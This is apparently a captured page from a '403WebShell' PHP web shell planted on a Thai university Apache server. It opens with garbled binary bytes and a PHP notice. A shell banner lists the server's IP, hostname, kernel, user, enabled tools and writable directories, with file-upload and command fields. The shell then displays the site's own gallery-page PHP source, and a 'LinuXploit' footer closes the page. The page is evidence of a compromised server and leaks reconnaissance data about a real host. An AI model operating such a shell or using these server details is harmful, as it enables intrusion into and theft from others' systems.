h(  ) ($6;EbBLkfu�_l� ''8;DUFKV3Dd#,?ANk&5G$/(5M\^�ms����Sb�,;R''6c2I�!\����kx�Ve�[i��Me�IYO7:nOL~�Kr�qrv�I:�BM�y��s}r��K����x)1�6@r*2�89ma��&��'ti������{~#������t)1�2<�0:^5�W.uFzQ/u}�v��vv�u��U37yDJeEJo(/�5Ds'1�:Jlu�iy�iy�hw�1;:S`^BMLOQQn,4�7C�8C�>Lfe�]k�[i�Zg��IW�LZ�EP;,.��Tc�q(0) G,/]/1����w�r��l&-t*3�<<�u��#����j&.u��J68\8?"#$%&'()*+,-./0 ! 
Notice: Undefined index: dl in /var/www/html/web/simple.mini.php on line 1
403WebShell
403Webshell
Server IP : 10.254.12.21  /  Your IP : 10.254.12.21
Web Server : Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips PHP/5.6.40
System : Linux arit.skru.ac.th 3.10.0-1160.76.1.el7.x86_64 #1 SMP Wed Aug 10 16:21:17 UTC 2022 x86_64
User : apache ( 48)
PHP Version : 5.6.40
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : OFF  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /proc/5801/root/var/www/html/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /proc/5801/root/var/www/html//igallery-20250423.php
<?php include 'header.php'; ?>
<?php include 'dbnews.php'; ?>

<?php
function MonthThai($strMonth)
{
	$strMonthName = array("", "ม.ค.", "ก.พ", "มี.ค.", "เม.ย.", "พ.ค.", "มิ.ย.", "ก.ค.", "ส.ค.", "ก.ย.", "ต.ค.", "พ.ย.", "ธ.ค.");
	return $strMonthName[(int)$strMonth];
}

$gallery_id = isset($_GET['id']) ? (int)$_GET['id'] : 2;
$page = isset($_GET['Page']) ? max(1, (int)$_GET['Page']) : 1;
$per_page = 12;

$serverName = "localhost";
$dbName = "igallery";
$conn = mysqli_connect($serverName, $userName, $userPassword, $dbName);

if (!$conn) {
	die("Connection failed: " . mysqli_connect_error());
}

mysqli_set_charset($conn, "utf8");

// Pagination Calculation
$count_stmt = $conn->prepare("SELECT COUNT(*) FROM gallery WHERE album_id = ?");
$count_stmt->bind_param("i", $gallery_id);
$count_stmt->execute();
$count_stmt->bind_result($num_rows);
$count_stmt->fetch();
$count_stmt->close();

$num_pages = ($num_rows <= $per_page) ? 1 : ceil($num_rows / $per_page);
$row_start = ($page - 1) * $per_page;

// Main Query
$stmt = $conn->prepare("SELECT * FROM gallery WHERE album_id = ? ORDER BY gallery_date DESC LIMIT ?, ?");
$stmt->bind_param("iii", $gallery_id, $row_start, $per_page);
$stmt->execute();
$result_gallery = $stmt->get_result();
?>

<!-- gallery -->
<section class="blog_w3ls pt-3 pb-5 py-5" id="gallery">
	<div class="container pb-xl-5 pb-lg-3 py-xl-5 py-lg-3">
		<h3 class="title text-uppercase text-center text-bl mb-5 pb-xl-3">ภาพกิจกรรม</h3>
		<div class="row">
			<?php while ($result = $result_gallery->fetch_assoc()) : 
				$gallery_date_thai = date('j', strtotime($result["gallery_date"])) . " " . MonthThai(date('n', strtotime($result["gallery_date"]))) . " " . (date('Y', strtotime($result["gallery_date"])) + 543);
				$gallery_url = "https://arit.skru.ac.th/arit/igallery/image_view.php?id=" . (int)$result["gallery_id"];

				// Get cover image
				$image_stmt = $conn->prepare("SELECT image_file FROM gallery_image WHERE gallery_id = ? AND is_cover_image = 1 LIMIT 1");
				$image_stmt->bind_param("i", $result["gallery_id"]);
				$image_stmt->execute();
				$image_result = $image_stmt->get_result();

				if ($image = $image_result->fetch_assoc()) {
					$cover_image = "arit/igallery/image_gallery/" . (int)$result["gallery_id"] . "/" . htmlspecialchars($image["image_file"]);
				} else {
					// fallback to first image
					$image_stmt = $conn->prepare("SELECT image_file FROM gallery_image WHERE gallery_id = ? ORDER BY image_order ASC LIMIT 1");
					$image_stmt->bind_param("i", $result["gallery_id"]);
					$image_stmt->execute();
					$image_result = $image_stmt->get_result();
					if ($image = $image_result->fetch_assoc()) {
						$cover_image = "arit/igallery/image_gallery/" . (int)$result["gallery_id"] . "/" . htmlspecialchars($image["image_file"]);
					} else {
						$cover_image = "";
					}
				}
				$image_stmt->close();
			?>
				<div class="col-lg-4 col-md-6 pb-3">
					<div class="card border-0 med-blog">
						<div class="card-header p-0">
							<a href="<?php echo htmlspecialchars($gallery_url); ?>">
								<img class="card-img-bottom" src="<?php echo htmlspecialchars($cover_image); ?>" alt="image">
							</a>
						</div>
						<div class="card-body border border-top-0">
							<p>
								<?php echo htmlspecialchars($result["gallery_name"]); ?>
								<font color="#009900">[<?php echo $gallery_date_thai; ?>]</font>
								...<a href="<?php echo htmlspecialchars($gallery_url); ?>">อ่านต่อ</a>
							</p>
						</div>
					</div>
				</div>
			<?php endwhile; ?>
		</div>

		<br>
		<p align="center">จำนวน <?php echo $num_rows; ?> รายการ : <?php echo $num_pages; ?> หน้า</p>
		<ul class="pagination justify-content-center">
			<?php if ($page > 1) : ?>
				<li class="page-item">
					<a class="page-link" href="<?php echo htmlspecialchars($_SERVER["SCRIPT_NAME"]) . "?Page=" . ($page - 1) . "&id=" . $gallery_id; ?>" aria-label="Previous">
						<span aria-hidden="true">&laquo;</span>
						<span class="sr-only">Previous</span>
					</a>
				</li>
			<?php endif; ?>

			<?php for ($i = 1; $i <= $num_pages; $i++) : ?>
				<li class="page-item <?php if ($i == $page) echo 'active'; ?>">
					<a class="page-link" href="<?php echo htmlspecialchars($_SERVER["SCRIPT_NAME"]) . "?Page=" . $i . "&id=" . $gallery_id; ?>"><?php echo $i; ?></a>
				</li>
			<?php endfor; ?>

			<?php if ($page < $num_pages) : ?>
				<li class="page-item">
					<a class="page-link" href="<?php echo htmlspecialchars($_SERVER["SCRIPT_NAME"]) . "?Page=" . ($page + 1) . "&id=" . $gallery_id; ?>" aria-label="Next">
						<span aria-hidden="true">&raquo;</span>
						<span class="sr-only">Next</span>
					</a>
				</li>
			<?php endif; ?>
		</ul>
	</div>
</section>
<!-- //gallery -->

<?php include 'footer.php'; ?>

Youez - 2016 - github.com/yon3zu
LinuXploit